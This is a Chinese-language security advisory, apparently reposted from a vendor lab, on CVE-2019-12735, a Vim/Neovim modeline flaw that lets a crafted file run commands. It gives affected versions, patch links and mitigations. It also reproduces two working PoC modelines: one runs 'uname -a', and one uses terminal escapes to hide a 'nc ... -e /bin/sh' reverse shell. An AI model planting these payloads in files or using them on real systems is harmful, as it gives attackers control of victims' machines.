Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)

Posted 深信服千里目安全实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)相关的知识,希望对你有一定的参考价值。

Vim 编辑器在8.1.1365和Neovim 0.3.6 之前版本存在严重的代码执行漏洞,当通过Vim编辑器打开特殊构造的文件,且Vim编辑器的ModelLine被启用,就会触发本地文件代码执行漏洞。虽然此漏洞是本地漏洞,如若结合社会工程学的方式进行攻击,危害不容小觑,容易造成重要敏感信息泄露,甚至会导致服务器被攻击者控制。


漏洞名称:Vim编辑器本地代码执行漏洞

威胁等级严重

影响范围:Vim 8.1.1365 之前版本受影响,Neovim 0.3.6 之前版本受影响

漏洞类型:代码执行漏洞

利用难度:较难


千里百科 - Vim介绍

Vim是一款功能强大,扩展性高的文本编辑器,因其在代码补全与代码编译方面有着突出的优势,而被Unix/Linux平台的程序开发人员广泛使用。


漏洞分析


Vim 8.1.1365之前版本与Neovim 0.3.6 之前版本因在命令行功能中允许在文件的开头或结尾附近指定自定义编辑器选项。默认启用并适用于所有文件类型,从而导致:source! 命令可用于绕过沙箱限制。从既定文件中读取并执行命令,因此可以轻松构建在沙箱外允许运行代码的模式行。目前Arminius 在GitHub 上公开了该漏洞Poc。


漏洞利用姿势一:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发文件中的命令代码来执行系统命令。
1、被公开的相应PoC代码如下:
    :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\     \%"):fdl=0:fdt="
2、可以看出,文件poc.txt中的“uname -a”代码命令被执行成功。效果如下:

(图1)

3.2、漏洞利用姿势二:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发本地PoC文件中的“nohup nc 127.0.0.1 9999 -e /bin/sh &”代码命令,执行shell反弹命令,从而导致服务器被控制。
1、被公开的相应PoC代码如下:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
2、可以看出,文件Shell.txt中的“nohup nc 127.0.0.1 9999 -e /bin/sh &”    代码命令被执行成功。效果如下:

(图2)

3、Neovim的nvim_input() 函数同样可以被构造进行本地命令执行,构造方式与    Vim编辑器方式类似,在此不做过多赘述。

影响范围

目前受影响的软件版本:
1,Vim 8.1.1365 之前版本受影响
2,Neovim 0.3.6 之前版本受影响


修复建议

安装Vim团队和Neovim团队发布的安全更新补丁或按照厂商建议进行漏洞防范:

Vim安全补丁下载地址:
https://github.com/vim/vim/commit/5357552

Neovim安全补丁下载地址:
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6

温馨提示:在打完补丁之后,建议禁用ModelLine,如确实需要,可使用Securemodelines进行代替。


参考链接


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

 

时间轴

   

2019/06/04 

国外Arminius安全研究员披露漏洞

2019/06/06

深信服千里目安全实验室翻译并发布漏洞预警





以上是关于Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)的主要内容,如果未能解决你的问题,请参考以下文章

高危安全预警Kibana < 6.6.1远程命令执行漏洞(CVE-2019-7609)

安全预警 ——WebSphere存在远程代码执行漏洞

CVE-2019-4505: WebSphere 任意文件读取漏洞预警

CVE-2019-12735 VIM命令执行漏洞利用

jQuery CVE-2019-11358 原型污染漏洞分析和修复建议

jQuery CVE-2019-11358原型污染漏洞分析和修复建议